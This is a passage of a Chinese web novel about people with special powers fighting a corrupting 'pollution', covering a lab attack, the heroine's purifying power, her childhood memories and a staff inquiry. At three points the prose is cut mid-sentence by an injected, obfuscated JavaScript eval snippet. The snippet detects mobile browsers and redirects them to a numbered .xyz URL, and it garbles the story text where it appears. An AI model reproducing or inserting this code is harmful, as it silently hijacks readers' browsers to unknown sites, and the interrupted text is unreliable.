“砰”的一声,乐悠达尚未反应过来就摔在了异能检测室的门外,紧接着检测室的门窗墙壁之上突然凭空出现了一道透明的坚实屏障——这正是自动应急程序启动的防护罩。 乐悠达急匆匆爬起来,眼见屏障后眨眼间就被浓黑覆盖,大叫了几声却不见应答,她咬咬牙,立刻转身去找援助。 屏障内,时清淮和余辰已启动了身上的“防护”按钮——防护服之外,一线人员的日常服装有专门设计,以不起眼的纽扣作为随身防护罩的启动装置,一旦按下,身上会立即附着一层透明的防护膜,能阻拦意外突发事件下的污浊侵袭。 “万岁!”余辰在启动随身防护罩的当下就向那碎裂的异能检测仪奔去,可没走两步,战斗直觉却让她忽然侧身闪避,在渐渐不可视物的黑暗中一样速度极快的冲击物与她擦肩而过,嘭然又没入了污浊之中。 “——你?”她转身看向那攻击袭来的地方,压抑着惊讶和怒气开口道,“是你?” 她的对面,穿着一身隔离服的实验人员几乎已将全身隐没在了愈发浓稠的污浊之下,她的面容也在面罩后难窥分明,周身却已弥漫出某种不祥的气息。 “她被感染了,”时清淮做出了判断,语气中却也包含不解,“可怎么会……” 因为设有污浊的大型收纳仓和实验室,异能研疗中心并非没有发生过类似的案例,可随着防护手段的升级以及对于人员的专门培训,污浊侵袭事故的发生率在近年内已大大降低……前些时日,实验室还专门进行了防护系统的升级,怎么会对浊生体毫无反应?还能让它带着衰减污浊分离体出没? “小心!” 眨眼间,又是一枚速度极快的污浊冲击物向时清淮射去,余辰眼疾手快,启动异能【铁拳无敌】,一拳便将它击得溃散。 也正在此时,时清淮发现,这些冲击物是浊生体自周围的污浊中凝成的弹丸,这正是它的异能!下一刻,它的周围又忽的凝出数枚污浊弹,大小不一,一时间就像飞雹霰弹,源源不断地向余辰和时清淮打来! 余辰的异能是【铁拳】,异能发动时,【铁拳】大力几乎能将触及的一切击溃打灭,她的身体素质也相当优秀,各路拳法打得虎虎生风。而时清淮的异能【妙手回春】是治愈的能力,能够在人体受伤的情况提供及时救治,并不能发动攻击。但她配备了多功能异能枪,在这种情形下,她取出枪来便向半空中开了一枪,射出的却不是炮弹,而是一张突然撒开的“网”。这张网直径达半米,铺展开来时便拦住了不少劈头射来的污浊弹,为余辰大大减轻了压力。 两人配合之下,总算能应付,就算被那污浊弹击中,好歹还有随身的防护膜。可光线越来越暗,密集的污浊弹更是源源不断袭来。余辰在全力拦击时只觉得不仅视觉丧失,连声音也几乎听不到了。 ——什么都听不到了…… 污浊中,眼前全黑姜万岁也是这样的感受,不仅如此,她寸步难行,整个人都被裹挟在那厚重而粘稠的黑雾中,连呼吸都几乎被夺去。那些无所不在雾气正要渗透她的肌肤,去吞食她的血肉。 人在陷入五感全失的境地时很难不去恐惧,而更让姜万岁不安的是,直觉在疯狂提醒她:有东西过来了。 它过来了。 是只浊异兽,还是浊异人?这两样姜万岁并不是没有碰到过,可这回却和之前完全不同。她是在完全没意识到的时候就被袭击了,现在还半点都动弹不了…… ——这根本就不是什么简单的“异能检测”吧?什么异能研疗中心主任,根本半点不靠谱啊! 姜万岁在心里骂骂咧咧,她压抑着恐惧努力想夺回身体的控制权,可是失败、失败、总是失败……那个“它”已经过来了,它或许已经站在了姜万岁的面前,然而她看不见。只有直觉,仅剩的直觉在她的意识中发出快要拉爆的预警声。 直觉告诉她,这个浊生体比之前的那两个加起来都要强、强很多。 姜万岁很害怕会死在这里。 她想发疯一样的挣脱,可无论如何努力这些动作都只能停留在脑海,于是只有恐惧、越来越多的恐惧,就在这些恐惧叠加到一个临界值之后,却又突然催生了无尽的愤怒和勇气…… 姜万岁突然盯住了那片黑暗。她咬牙切齿、怒火高涨。 ——来,我倒要瞧瞧你是个什么东西! 她失去了身体,但这份膨胀勃发的勇气组成了她新的心脏,这个心脏砰砰跳动着,它源源不断地泵出滚烫的血液,流向四肢百骸,流经五脏六腑。 姜万岁感觉到它在逼近,它伸出了一只手来,正探向她的心脏…… 姜万岁骤然捉住了它。 ——是勇气复活了她的肢体!姜万岁将牙齿咬得咯咯作响,她的手掌还是僵化发麻,但她还是成功了。她抓住了一样东西。周围的黑雾忽的掀起了一阵暴动,就在这样浓厚的黑暗发出震荡时,姜万岁隐约间看见了…… 她首先看到了自己的手臂。 不是错觉,她的整个身体甚至也在视野中渐渐浮现了,在黑暗中,这种“看到”只意味着一个现实——姜万岁自己就是那个光源。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15945412|176542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她顺着自己的手臂,看到了那个被抓在自己手中的东西,那是一只已经染上漆黑、但仍然属于人类的手掌。它痉挛着拼命想要从姜万岁手中挣脱,周围的黑雾漫发出沉沉的压力,犹如怒涛般要向岸边的姜万岁重重拍下。 姜万岁的手中猛然爆发出了夺目的白光。 “嗡……” 在陷入暴乱的黑雾里,时清淮首先发现了不对劲。在浓稠的黑暗中,她看到了一点像是幻觉的缝隙——白色的缝隙,随即这条缝隙却瞬间爆裂,像一只无形的大手将黑暗的大门撕开了,后面的白光于是声势浩大地散溢而出。 时清淮被刺激地微微闭了下眼睛。 “万岁!!!” 等光明的视野再度出现时,一声暴喝率先在她的耳边响起。时清淮心中一紧,抬眸便瞧见姜万岁竟被浊生体转身甩了出去,“砰”的一声砸到了墙上。 “时主任拜托你!” 余辰只来得及留下这么一句话,就飞身上前拦住了那只想要逃走的浊生体。室内的污浊大部分已消失,这似乎对它造成了不小的伤害,它浑身只附着了一层浅浅的黑雾,一只手也无力地垂在一侧,攻击力大幅降低,污浊弹显然更不能再生成。它狼狈地躲避着来自余辰的铁拳,拼命想要突破防护罩。 几番你来我往后,浊生体终究不敌,被余辰一脚踹到了防护罩上。余辰乘胜追击,只听“砰”的一声,一记铁拳已经重重擂在浊生体的前肩上,力道之强,令躲闪不急的它发出一声嘶吼,连后面的防护罩甚至都出现了隐隐裂痕。 下一刻,浊生体身上的黑雾却忽然褪去,露出了正常人的躯体来,这让余辰再度砸向它面门的一拳微滞。 ——被污浊侵袭后的浊生体根本没有恢复本来面貌的可能,这是怎么回事? 可穿着防护服的年轻人正闭着眼睛,就像睡着了一样躺在那里。 而就在余辰捏紧拳头时,在她看不到的地方,一颗种子似的的黑粒悄悄从防护服包着的后颈椎处“游”了出来,它飞速贴到了防护罩的裂痕上,本就很小的体积继续变形、缩小,很快就消失不见了。 另一边,时清淮对姜万岁发动了异能。她倒在一片血泊中,呼吸微弱,昏迷不醒,浊生体的那一下不知摔断了她多少根骨头。时清淮的异能力能在几秒钟内就让濒危的伤者身体恢复如初,因此姜万岁的伤痛很快就被完全治愈了,但异能力的亏空却没有那么简单能补全。 时清淮将姜万岁抱进怀里,意外听见她动了下嘴唇似乎要说话,连忙将耳朵凑了过去。 “万岁?”她轻声喊道。 “妈,”姜万岁意识不清地喃喃喊着,“妈……” 11.梦境与回忆 “妈,为什么我不能出去?”姜万岁的声音里透着股不乐意,“我现在已经不生病了呀……” 比起之前,十六岁姜万岁的身体度过了相当长一段时间的安稳期,没有时不时的发烧、咳嗽和虚弱的卧床,她的四肢变得有力,精力也越来越旺盛。姜千遂为了满足她日常活动的需求,把家的范围又扩大一圈,在原本家的基础上开垦修建了大大的后院和仓库,并且竖起了高高的院墙、搭上了高蓬屋顶。这让姜万岁很是新鲜了一段时间,每天都在跑跑跳跳,并且根据书本的知识和母亲偶尔的指导来锻炼身体。 她坚信自己会越来越健康,也越来越想去外面看一看。 毕竟母亲几乎每天都会外出打猎,姜万岁也想跟着她一起,而不是只能眼巴巴地看着她的背影。 “还不行,外面很危险……越来越危险了。”然而姜千遂还是拒绝了,她的态度坚决而不容辩驳。但为了让女儿开心,她承诺会在下次出门时给她带回来一台电视机。 “你可以看电视,里面有很多新东西,都是会动的。”她说。 “真的吗?”姜万岁心动了,她兴致勃勃地翻箱倒柜,终于找出来一本家电组装说明书,拍着胸脯说,“那我可以来组装!” 后来电视果然被带了回来,可惜没有信号,但姜千遂还拿回来了不少看着很老旧的碟片和影碟机。很多碟片的内容是科普性质的,内容很丰富,这在很大程度上安抚了姜万岁,不过在另一方面也让姜万岁想外出探索的想法更强烈了。 于是姜万岁就在母亲惯常离开的某一天,悄悄用家里的备用钥匙打开了门…… 姜万岁的意识在回忆中沉浮着,之后发生的事情就很清晰了。或许是因为太熟悉了,这段时间的记忆没有出现,反而另一端一直被压在脑海深处的记忆、一段说不上美好的记忆浮现出来…… 姜万岁突然想起,这其实不是她第一次出门。 在多年之前,大约在她五六岁的时候,姜万岁就尝试过推开家门。那时候她们的家还不在这里,住的屋子也比现在要小很多。母亲还没有出门“打猎”,她是去打水了,取水地并不远,所以门并没有锁。姜万岁在模模糊糊间睡醒了,喊了几声“妈”没人应,于是就揉着眼睛从床上爬了起来。 她走得慢,但性子急,就抱着寻找母亲的想法从屋里找到了屋外。原来外面的天已经暗了,一阵夜风刮来,姜万岁突然汗毛直立,却不止是因为寒冷。 一只在暗中窥伺的怪兽把她扑倒了,那只怪兽十只眼、八条腿,像是变异的大蜘蛛,浑身漆黑,冒着森森寒气。危急关头,姜万岁被吓得破声大叫,险些就被这蜘蛛兽吃掉了。 好在姜千遂及时回来了,她徒手将这只怪兽撕成了两半。这怪兽没有姜万岁后来遇到的那只一样拥有分裂再生的异能力,躯体碎裂后就是死了,姜千遂得以从它的口中救下了女儿。 那之后姜万岁又发起了高烧,在熬了好一段时间才痊愈,姜千遂带着她离开了那里。她们搬了新的家。 说起来,姜万岁对于搬家的记忆似乎也有不少。 或许是因为那场高烧、或许是因为环境的变动,姜万岁将这件事完全忘记了。现在终于回想起来,不免让她对母亲的态度更理解了一些。 她又开始想妈了。 一想到姜千遂,姜万岁的心中就萌生了一股理直气壮的骫屈、和绵绵不断的依恋。朦胧间,她察觉到有只手放在了自己的额头上,手心的温度很凉,力度很轻,仿佛怕将她吵醒了似的。 “妈……” 她下意识叫了声。 那只手停了停,却渐渐收了回去。姜万岁感到不安不满,又叫出声来:“妈、妈……妈!” 在她的连声呼唤下,手的温度终于回来了,这次却是落在了她的颊侧,还是以轻盈到几乎令人察觉不出的力道,那只手在她的脸上贴了贴。 姜万岁立刻伸手抓住了它。 紧接着,她分外自得地侧身将它压住、搂进了怀里,这时才哼哼唧唧地舒了一口气,思绪重重地沉下,像是要睡着了。 可就在她再度陷入沉睡前,又一段恍惚不清的记忆在脑海中飘荡着浮现了。 那是一片模糊的视野,无论看哪边都是混沌的光和暗,构成了模糊不清的世界。就在这样的世界里,她却并不焦虑或者恐惧,她甚至产生到了全然的喜悦,因为她感觉到有道目光正长久地落在她的身上、落在她尚且视物不清的眼睛里。 只要在那道目光中,她就会觉得安全、放松、喜悦。 她甚至听见自己扑腾着手脚笑了。 …… 姜万岁彻底睡着了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15959915|176542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不知过了多久,她的意志再度恢复了清醒,姜万岁睁开双眼,率先瞧见了一个意想不到的人。 “——娜索?!” 她还躺在疗养舱中,发出的声音也十分微弱。守在旁边的娜索见她醒来就眼睛一亮,她手忙脚乱地在舱体上操作了一会儿。姜万岁便发现舱门自动打开,她身后则渐渐如椅背似的升了起来,与此同时,她身上的水分也完全蒸发干净了。 “万岁,你还好吗?舒服吗?”娜索说,“我可以给你调节一下高度。” 姜万岁用力眨了眨双眼,还不太明白,只是问:“娜索……你怎么在这里?” 在姜万岁的记忆中,她和娜索的上次见面时在外环部的医院,那之后她被晏徽年带到了心城异能研疗中心。她还以为娜索被独自留在了外环部。 娜索愣了下,解释说:“我去异能训练营登记了,晏阿姨让人带我去的,我在新的住处安顿好就过来了。她说我们可以一起训练……” “……啊?”姜万岁吃了一惊,她问道,“是她、晏徽年让你来了这里?” “是的,”娜索点头,她压下心中的疑惑,认真对姜万岁说道,“在外环部的时候,晏阿姨说你的情况需要回到心城治疗,问我愿不愿意陪你一起。她说了解过我的情况,会让我加入异能训练营进一步开发异能……你怎么了?” 姜万岁不自在地别过头去,低声说:“她怎么不告诉我。” 娜索没太听清,她看着姜万岁似乎脸色不好,想了想,才缓声问:“你是……不喜欢我跟你一起吗?” “不是!当然不是了!!”姜万岁立刻抓住了她的手,信誓旦旦地说,“我们可是朋友,是宇宙第一好朋友!你想到哪里去了?!我醒来看不到你,才会很难过!” 娜索开心起来,她垂下眼睛“嗯”了一声,同样拉紧了姜万岁的手,说道:“你刚刚……好像不高兴?” 姜万岁将视线在室内扫过一圈,她又回到了309疗养室,室内除了娜索外没有别的人了。 “……你晏阿姨呢?”她别别扭扭地问,“你见过她没有?” “晏阿姨?”娜索仍然有疑惑,不过她还是选择先回答姜万岁,“晏阿姨去开会了,我来之后她走的。她说我可以等你醒过来,还教我操作这里的疗养仓……万岁,你要找她吗?” 12.疑点 “……从排查结果来看,是三号实验室内存在一定的污浊泄露现象,今天是实验员林均轮值,她离开不久后室内就发出了自动警报,”会议室内,时清淮将一沓纸质资料放在桌上,按着眉心说,“监控里其它地方暂时没发现异常,我已经安排今天值班的实验员全部去隔离了,更具体的一些情况,要等到林均苏醒再细细询问。” 晏徽年拿过了那沓材料,发现是所有实验室内污浊分离体的活性动态检测记录,其中只有三号实验室的污浊活性出现了异常。偏偏是今天,偏偏是在万岁出现的时候…… 她翻看着材料,一时不语。 “那个被感染的实验员还没清醒?”殷正钰也在会议室内,她询问道,“确认她的身上完全清除污浊了吗?” “至少从目前来看,她的体温已经回归了常人范畴,也没有表现出其它任何浊生体的症状,”时清淮客观地回答说,“这确实还需要一段时间的观察。但从前两个净化案例来看,我们可以保持乐观的期待。” ——也就是说,那个叫“姜万岁”的孩子确实有净化污浊的异能力。 殷正钰想着,没忍住瞧了一眼晏徽年。 “余辰向我转述了当时的情况,”这时晏徽年收起了材料,出声说,“这回的情形和前两次不同。在外环部,姜万岁的异能力净化了所有的污浊,使她们从浊生体恢复正常。但今天的浊异人明显还有余力逃跑……是在余辰拦击时,它才恢复成了正常人的样态,这不符合污浊逸散的条件。” 从以往的经验来看,污浊只有在浊生体死亡后才会逸散出来并寻找下一个宿体。而实验员体内的污浊却突然消失了,这明显不同寻常。 “以前也没有净化异能出现,”时清淮回忆起那阵撕开黑雾的白光,思索着说道,“或许是万岁已经对浊生体造成了不可逆转的打击,会让它在坚持不下去的情况下,提前释放污浊。” 这或许也是一种合理的解释,但晏徽年觉得事情没有这么简单,她想了想,又询问道:“事后残余的污浊都回收干净了吗?活性检测怎么样?” 异能检测中心各处都配备有自动的污浊回收设置,在无法强效回收的情况下也会激发隔离罩应急程序。时清淮是在确认异能检测室内的污浊都被回收完全后才带着昏迷的姜万岁出来的,恰好这时乐悠达也叫来了姚锦等人。 “室内的都完全回收了,活性检测我也夹在里面了,”时清淮指了指那沓材料,“室内残存的污浊活性有大幅度的降低。但室外的回收装置暂时没有收获。” 殷正钰拿过了材料来看,在检测报告中那行明显低于正常值的污浊活性值注目良久,她顿了顿,问道:“那姜万岁,那孩子情况怎么样?” 时清淮长长地吐出口气,回想着当时惊险的场景,说道:“不太好。她还在觉醒初期,本来只是要做个小测验的,可……如果不是有那么罕见的异能力,恐怕……现在她的异能也是处于完全亏损的状态。说真的,我很抱歉,我不该那么心急,直接带她走的……” 最后这句话是对晏徽年说的。晏徽年在对方充满歉疚的目光下沉默片刻,最终微微摇了摇头。她其实有种直觉……这件事的发生或许不是偶然。 “做检测时,姜万岁身上是不是还戴着红珠屏障器?”晏徽年问起了另一个问题。 时清淮听见这句话就点头,说:“我记得她一直戴着……你怀疑这次的浊异人也是冲着万岁来的?” “嗯?为什么?”殷正钰插话,“难道污浊会感应到净化异能,自己暴动跑出来?” “除了这个,”时清淮思索着说道,“还有一种可能是,污浊是外面来的,甚至是跟着你们进来的……毕竟外环部刚刚发生了浊生体的暴动,兴许它们有甚么罕见的异能力,对万岁进行了标记,神不知鬼不觉地溜了进来……嘶,这样一想,我脑袋都大了!” 殷正钰皱眉道:“异能研疗中心一直配备着最先进的污浊检测和回收装置,怎么你这个主任自己忘了?” “污浊的探查容易,但辨别浊生体却没那么简单,”晏徽年突然出声说,“其中伪装性和迷惑性最强的,是人。” 与浊异兽相比,浊异人的辨别更困难,不仅是因为除了低温这一明显症状之外,浊异人的外显症状识别更考验人的观察力,还因为它们也会运用异能力——无论是新生成的还是继承自宿主的异能——进行伪装。在特殊情况下,浊异人还会出现“无症状感染阶段”,在此阶段污浊处于潜伏期,浊异人的外在表现几乎与常人无异。这种情况下异变的发生往往猝不及防,而且危害极大。 “异能研疗中心进进出出那么多人,你晏首席都要查?”殷正钰眉头皱得更紧了,“这岂不是草木皆兵了?” 晏徽年瞧了她一眼,还没说话,耳边突然听见声异动,转眸看去,原来会议室后墙上出现了一道旋涡似的洞口,有人从里面走了出来。 “乐总长?”殷正钰见了来人,没忍住看了眼表,“回来这么早?” 本来三人齐聚这间会议室,也正是为了等待今晚归来的乐霆。她身为东区守护军团总长,在一周前率人前往南区进行交流访问,今天正是她回来的日期,只不过比起约定时间里的晚九点,她早到了一个小时。 乐霆朝她们摆摆手,先捞过会议室里的饮用水灌了大半瓶,才入座说:“别提了!南区基地都疯了,一群人有病似的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15968222|176542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,现在她们竟然开始想把污浊当神供着了!说什么‘异能都是污浊赐予的’,还让我也好好考虑……” 晏徽年眉心一动,她敏锐地问道:“现在南区对污浊的态度发生了转变?” * 疗养室内,姜万岁刚对娜索介绍完自己的身世。她找到了带着母亲姜千遂的“履历表”的一沓资料——正好它被齐整放在了疗养舱一旁的矮桌上。姜万岁就将它拿了起来,对误会的娜索解释:姜千遂才是自己那个能打死一头熊的母亲。 “原来是这样,”娜索明白了,“你有两个妈妈。怪不得,你这么厉害。” 姜万岁闻言想反驳,可张了张嘴却没能说出什么来,她最后只能郁闷地开口说:“我现在用完异能就会晕倒……娜索,我也想跟你一样强壮,一下就能把浊生体撞飞!” 娜索有点不好意思了,不过她认真地说:“我可以帮你训练,等我们一起去异能训练营的时候……” 姜万岁于是也小小地开心起来,她拉着娜索的手正要再说些什么,突然听见门开了。一个人影大摇大摆地走了进来,在她后面,门口的姚锦则向姜万岁笑了笑。 “你来这里干什么?”姜万岁收回视线,对这个进来的人语气不太好。 “你——你这个混蛋!”乐悠达刚居高临下地打量了她一番,听见这句话瞬间炸了毛,“这就是你对救命恩人的态度吗,昂?!你知不知道是谁带人来救了你这个忘恩负义的骗子啊,昂?!要不是我,你还能好好躺在这里吗,昂?!” “嘁,逃跑的胆小鬼还真会说啊,”姜万岁看她不顺眼,仍然语气不好,“明明是我自己救了自己,是我打败了那个浊异人,我把污浊净化了好不好?!” 乐悠达简直火冒三丈,她大声说:“那你怎么横着出来的?还你打败的,你是被打败的还差不多!我都看见了,明明是余辰姐把浊异人打死的!你是撒谎精,大骗子!你还我钱!!” 姜万岁瞪了她一会儿,特意嘲讽地笑了两声,继续说:“装傻子把你的智商也装没了吗?你为什么不先把那个被你打碎的鸟蛋赔回去?!只许你当傻子翻跟头,不许我拿我的医药费吗?快走开,没道德的人说话会污染空气的你不懂吗?” “——你?!你说谁没道德?!!!”乐悠达怒火滔天,“明明是你骗我的钱!你还在这里胡说八道!你、我……啊啊啊!!” 她咬牙切齿,都忘记了自己是为什么进来的,只气得先隔空打了几拳。乐悠达反复劝说着自己:毕竟姜万岁还躺在床上,现在不是动手的好时候……这样想着,她深呼吸了几次,才用怒意沉沉的语气对姜万岁宣告:“等进了异能训练营,我一定让你好看!”